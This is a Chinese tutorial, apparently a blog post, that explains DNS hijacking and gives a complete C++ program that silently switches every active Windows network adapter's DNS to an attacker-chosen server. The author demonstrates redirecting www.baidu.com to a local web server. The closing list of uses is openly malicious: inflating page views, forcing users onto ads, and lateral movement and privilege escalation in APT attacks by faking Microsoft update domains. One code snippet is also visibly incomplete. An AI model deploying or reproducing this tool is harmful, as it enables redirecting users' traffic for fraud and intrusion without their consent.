為什么總能看到廣告彈窗?沒錯,就是DNS的問題
什么是DNS?
每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。
主機名到IP地址的映射有兩種方式:
1)靜態映射,每臺設備上都配置主機到IP地址的映射,各設備獨立維護自己的映射表,而且只供本設備使用;
2)動態映射,建立一套域名解析系統(DNS),只在專門的DNS服務器上配置主機到IP地址的映射,網絡上需要使用主機名通信的設備,首先需要到DNS服務器查詢主機所對應的IP地址。
通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。在解析域名時,可以首先采用靜態域名解析的方法,如果靜態域名解析不成功,再采用動態域名解析的方法。可以將一些常用的域名放入靜態域名解析表中,這樣可以大大提高域名解析效率
什么是DNS劫持?
DNS劫持又稱域名劫持,是指在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什么都不做使請求失去響應,其效果就是對特定的網絡不能訪問或訪問的是假網址。
DNS(域名系統)的作用是把網絡地址(域名,以一個字符串的形式)對應到真實的計算機能夠識別的網絡地址(IP地址),以便計算機能夠進一步通信,傳遞網址和內容等。由于域名劫持往往只能在特定的被劫持的網絡范圍內進行,所以在此范圍外的域名服務器(DNS)能夠返回正常的IP地址,高級用戶可以在網絡設置把DNS指向這些正常的域名服務器以實現對網址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。
程序所需頭文件和命名空間:
- #include <iostream>
- #include <string>
- #include <windows.h>
- #include <stdlib.h>
- #include <list>
- #include <io.h>
- using namespace std;
獲取本機可用網卡:
- void Get_using_interface()
- {
- system("netsh interface show interface > interface_info.txt");
-
- FILE* fp = fopen("interface_info.txt", "rb");
- const int file_size = filelength(fileno(fp));
- char* buff = (char*)malloc(sizeof(char)*file_size);
- if (fp) {
- fread(buff, 1, file_size, fp);
- str = buff;
- free(buff);
- replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
- Split(str, "\r\n", interface_using);
- Spilt_space(interface_using);
- }
- }
-
- void Spilt_space(list<string> list_str) {
- for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
- cout << *itor << endl;
- string::size_type first_variable = (*itor).find("已啟用");
- string::size_type second_variable = (*itor).find("已連接");
- string::size_type third_variable = (*itor).find("專用");
- if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
- string info = *itor;
- last_get_interface_using.push_back(info.substr(55,info.length()));
- }
- }
- }
-
- void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
- std::size_t found = S.find(A);
- while (std::string::npos != found) {
- S.replace(found, A.length(), B);
- found = S.find(A, found + 1);
-
- void Split(const string& src, const string& separator, list<string>& dest)
- {
- string str = src;
- string substring;
- string::size_type start = 0, index;
- dest.clear();
- index = str.find_first_of(separator, start);
- do
- {
- if (index != string::npos)
- {
- substring = str.substr(start, index - start);
- dest.push_back(substring);
- start = index + separator.size();
- index = str.find(separator, start);
- if (start == string::npos) break;
- }
- } while (index != string::npos);
-
- //the last part
- substring = str.substr(start);
- dest.push_back(substring);
- }
構造函數實現:
- DNS_Hijack(string DNS="192.168.1.233")
- {
- Get_using_interface();
- for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
- {
- string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
- cout << str;
- system(str.c_str());
- }
- }
下面我們先直接給出完整代碼方便用戶直接運行查看效果。(記得修改ip地址)
- #include <iostream>
- #include <string>
- #include <windows.h>
- #include <stdlib.h>
- #include <list>
- #include <io.h>
- using namespace std;
-
- class DNS_Hijack {
- private:
- list<string> interface_using; //獲取本地可用網卡
- list<string> last_get_interface_using;
- private:
- string str; //存儲文件讀取后的內容
- string DNS;
-
- private:
- void Get_using_interface()
- {
- system("netsh interface show interface > interface_info.txt");
-
- FILE* fp = fopen("interface_info.txt", "rb");
- const int file_size = filelength(fileno(fp));
- char* buff = (char*)malloc(sizeof(char)*file_size);
- if (fp) {
- fread(buff, 1, file_size, fp);
- str = buff;
- free(buff);
- replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
- Split(str, "\r\n", interface_using);
- Spilt_space(interface_using);
- }
- }
-
- private:
- void Spilt_space(list<string> list_str) {
- for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
- cout << *itor << endl;
- string::size_type first_variable = (*itor).find("已啟用");
- string::size_type second_variable = (*itor).find("已連接");
- string::size_type third_variable = (*itor).find("專用");
- if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
- string info = *itor;
- last_get_interface_using.push_back(info.substr(55,info.length()));
- }
- }
-
- }
-
- private:
- void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
- std::size_t found = S.find(A);
- while (std::string::npos != found) {
- S.replace(found, A.length(), B);
- found = S.find(A, found + 1);
- }
- }
-
- private:
- void Split(const string& src, const string& separator, list<string>& dest)
- {
- string str = src;
- string substring;
- string::size_type start = 0, index;
- dest.clear();
- index = str.find_first_of(separator, start);
- do
- {
- if (index != string::npos)
- {
- substring = str.substr(start, index - start);
- dest.push_back(substring);
- start = index + separator.size();
- index = str.find(separator, start);
- if (start == string::npos) break;
- }
- } while (index != string::npos);
-
- //the last part
- substring = str.substr(start);
- dest.push_back(substring);
- }
-
- public:
- DNS_Hijack(string DNS="192.168.1.233")
- {
- Get_using_interface();
- for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
- {
- string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
- cout << str;
- system(str.c_str());
- }
- }
-
- };
-
- int main()
- {
- DNS_Hijack* one = new DNS_Hijack("192.168.1.20");
- system("pause");
- return 0;
- }
現在我在虛擬機win2003,ip地址為:192.168.1.20中搭建了一臺DNS服務器,并將所有域名為www.baidu.com的請求都解析到我內網中的一臺搭建了Apache服務器上。
這個時候我對www.baidu.com的請求就會通過我內網中的DNS服務器解析成我Apache服務器的地址。
也就是說真正的百度的ip我們已經無法得到,通過nslookup也可以看出,DNS被劫持。
實驗效果:

部分用途:
- 我們可以通過這種方法讓用戶訪問特定的URL從而實現惡意刷取網站PE量的效果。
- 如果網站接入了廣告聯盟,可以通過這種方法來讓用戶直接看到網站中的廣告。
- 營銷,推廣等。
- 可以用于局域網橫向滲透、提權,在APT攻擊中可以有部分體現。(偽造微軟的更新服務器域名。)